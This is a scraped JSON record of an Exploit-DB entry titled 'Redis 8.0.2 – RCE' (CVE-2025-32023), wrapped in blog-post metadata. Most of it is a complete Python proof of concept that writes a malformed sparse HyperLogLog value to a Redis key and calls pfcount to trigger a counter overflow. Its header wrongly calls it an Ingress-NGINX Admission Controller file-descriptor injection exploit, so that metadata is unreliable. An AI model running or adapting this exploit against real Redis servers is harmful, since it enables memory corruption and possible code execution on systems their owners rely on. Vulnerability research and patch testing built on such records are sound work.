{“lastseen”:”2026-02-04T15:35:50″,”description”:”Exploit Title: Ingress-NGINX Admission Controller v1.11.1 – FD Injection to RCE Date: 2025-10-07 Exploit Author: Beatriz Fresno Naumova Vendor Homepage: https:\/\/redis.io\/ Software Link: https:\/\/redis.io\/ Version: Affects := 8.0.0, 8 + p8size \\u0026 0xff def…”,”published”:”2026-02-04T00:00:00″,”modified”:”2026-02-04T00:00:00″,”type”:”exploitdb”,”title”:”Redis 8.0.2 – RCE”,”source”:””,”references”:””,”id”:”EDB-ID:52477″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-32023″],”sourceData”:”# Exploit Title: Ingress-NGINX Admission Controller v1.11.1 – FD Injection to RCE \\r\\n# Date: 2025-10-07\\r\\n# Exploit Author: Beatriz Fresno Naumova\\r\\n# Vendor Homepage: https:\/\/redis.io\/\\r\\n# Software Link: https:\/\/redis.io\/\\r\\n# Version: Affects :\\u003e= 8.0.0, \\u003c 8.0.3 \\r\\n# Tested on: Ubuntu 22.04\\r\\n# CVE: CVE-2025-32023\\r\\n\\r\\nimport redis\\r\\nimport sys\\r\\n\\r\\n# — Configuration —\\r\\nREDIS_HOST = ‘localhost’\\r\\nREDIS_PORT = 6379\\r\\nREDIS_KEY = ‘hll:exp’\\r\\n\\r\\n# HLL encoding type (1 = sparse)\\r\\nHLL_SPARSE = 1\\r\\n\\r\\n\\r\\ndef p8(value):\\r\\n \\”\\”\\”Convert integer to single byte.\\”\\”\\”\\r\\n return bytes([value])\\r\\n\\r\\n\\r\\ndef xzero(size):\\r\\n \\”\\”\\”\\r\\n Construct an ‘xzero’ run for sparse HLL:\\r\\n Creates a run-length encoding entry of zeroes with a specific size.\\r\\n \\”\\”\\”\\r\\n if not (1 \\u003c= size \\u003c= 0x4000):\\r\\n raise ValueError(\\”Invalid xzero size: must be between 1 and 0x4000\\”)\\r\\n size -= 1\\r\\n return p8(0b01_000000 | (size \\u003e\\u003e 8)) + p8(size \\u0026 0xff)\\r\\n\\r\\n\\r\\ndef build_malformed_hll():\\r\\n \\”\\”\\”\\r\\n Construct a malformed HLL payload that overflows internal counters.\\r\\n \\”\\”\\”\\r\\n payload = b’HYLL’ # Magic header\\r\\n payload += p8(HLL_SPARSE) # Encoding type: sparse\\r\\n payload += p8(0) * 3 # Reserved\\r\\n payload += p8(0) * 8 # Unused (padding)\\r\\n \\r\\n assert len(payload) == 0x10 # Check header size\\r\\n \\r\\n # Append enough xzero runs to cause overflow\\r\\n payload += xzero(0x4000) * 0x20000 # == -0x80000000 when cast to signed int\\r\\n\\r\\n # Add one more run to complete the structure\\r\\n payload += p8(0b11111111) # Runlen=4, regval=0x20 (but malformed)\\r\\n\\r\\n return payload\\r\\n\\r\\n\\r\\ndef main():\\r\\n try:\\r\\n print(f\\”[*] Connecting to Redis at {REDIS_HOST}:{REDIS_PORT}…\\”)\\r\\n r = redis.Redis(REDIS_HOST, REDIS_PORT)\\r\\n\\r\\n print(\\”[*] Building malformed HyperLogLog payload…\\”)\\r\\n hll_payload = build_malformed_hll()\\r\\n\\r\\n print(f\\”[*] Writing malformed HLL to key: {REDIS_KEY}\\”)\\r\\n r.set(REDIS_KEY, hll_payload)\\r\\n\\r\\n print(\\”[*] Triggering HLL merge operation (pfcount)…\\”)\\r\\n r.pfcount(REDIS_KEY, REDIS_KEY)\\r\\n\\r\\n print(\\”[+] Exploit triggered successfully.\\”)\\r\\n except Exception as e:\\r\\n print(f\\”[!] Exploit failed: {e}\\”)\\r\\n sys.exit(1)\\r\\n\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n main()”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52477″,”cvss”:{“score”:7.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52477″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-04T15:35:50″,”description”:”Exploit Title: Ingress-NGINX Admission Controller v1.11.1 – FD Injection to RCE Date: 2025-10-07 Exploit Author: Beatriz Fresno Naumova Vendor Homepage: https:\/\/redis.io\/ Software Link: https:\/\/redis.io\/ Version:…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,40,15,13,7,11,5],"class_list":["post-39046","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n